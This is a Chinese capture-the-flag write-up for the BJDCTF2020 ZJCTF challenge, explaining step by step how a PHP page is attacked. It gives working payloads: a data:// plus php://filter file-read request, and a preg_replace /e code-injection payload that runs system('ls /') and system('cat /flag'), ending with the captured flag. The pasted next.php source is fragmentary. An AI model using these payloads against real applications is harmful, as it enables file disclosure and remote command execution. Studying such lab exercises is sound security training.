深入解析:[BJDCTF2020]ZJCTF,不过如此

该代码说明了:get方法传递2个参数 text、file 的值。并且使用 file_get_content() 函数把档案读入一个字符串中,如果这个字符串与“ i have a dream ”相等,则进行字符串输出。
并且传递 file 参数中假设含有 /flag/ 的路径 ,就会输出“ not now ”,反之就会在页面中引入大家传参页面文件的代码。
还告诉我们存在一个 /next.php 的页面 ,直接访问是一片空白
如此允许构造payload 读取这个页面的源码 :
/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php


解码得到 next.php 的源码

$str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这个源码 有正则表达式 有for循环
可利用的关键在于 preg_replace() 内部
/(' . $re . ')/ei
/.../ei 是正则表达式的定界符和修饰符
修饰符 e :可执行模式,此为PHP专有参数。在 PHP 5.5.0 中已被废弃,在 PHP 7.0.0 中更是被完全移除,源于它极其危险
修饰符 i : 忽略大小写
strtolower("\\1")
该函数本身是,将字符串转变为小写的意思。
\\1 :此处表示,引用正则表达式中第一个捕获组
在next.php 页面构造payload :?id=1&\S*={${getFlag()}}&cmd=system("ls /");(注意结尾一定要带 ; )
解释一下该payload
我们传递的这个url 会被解析为一个$_get[]数组
$_GET = [
'id' => '1',
'\S*' => '{${getFlag()}}',
'cmd' => 'system("ls /");'
];进入for循环时,'id' => '1' 找不到匹配项,返回原字符“1”
'\S*' => '{${getFlag()}}'
\S*表示"匹配0个或多个非空白字符"这个模式会匹配整个字符串 “
{${getFlag()}}”就会变成 strtolower("{${getFlag()}}")
而又因为 e修饰符 ,程序运行时会先执行里面的 ${getFlag()} ,
之后执行大家传递的 cmd=system('ls /') 返回结果再执行 strtolower () 将返回结果字符串进行小写

发现了flag?id=1&\S*={${getFlag()}}&cmd=system("cat /flag");

获得flag{df58112c-a225-485e-815d-af9ae9e164f2}

浙公网安备 33010602011771号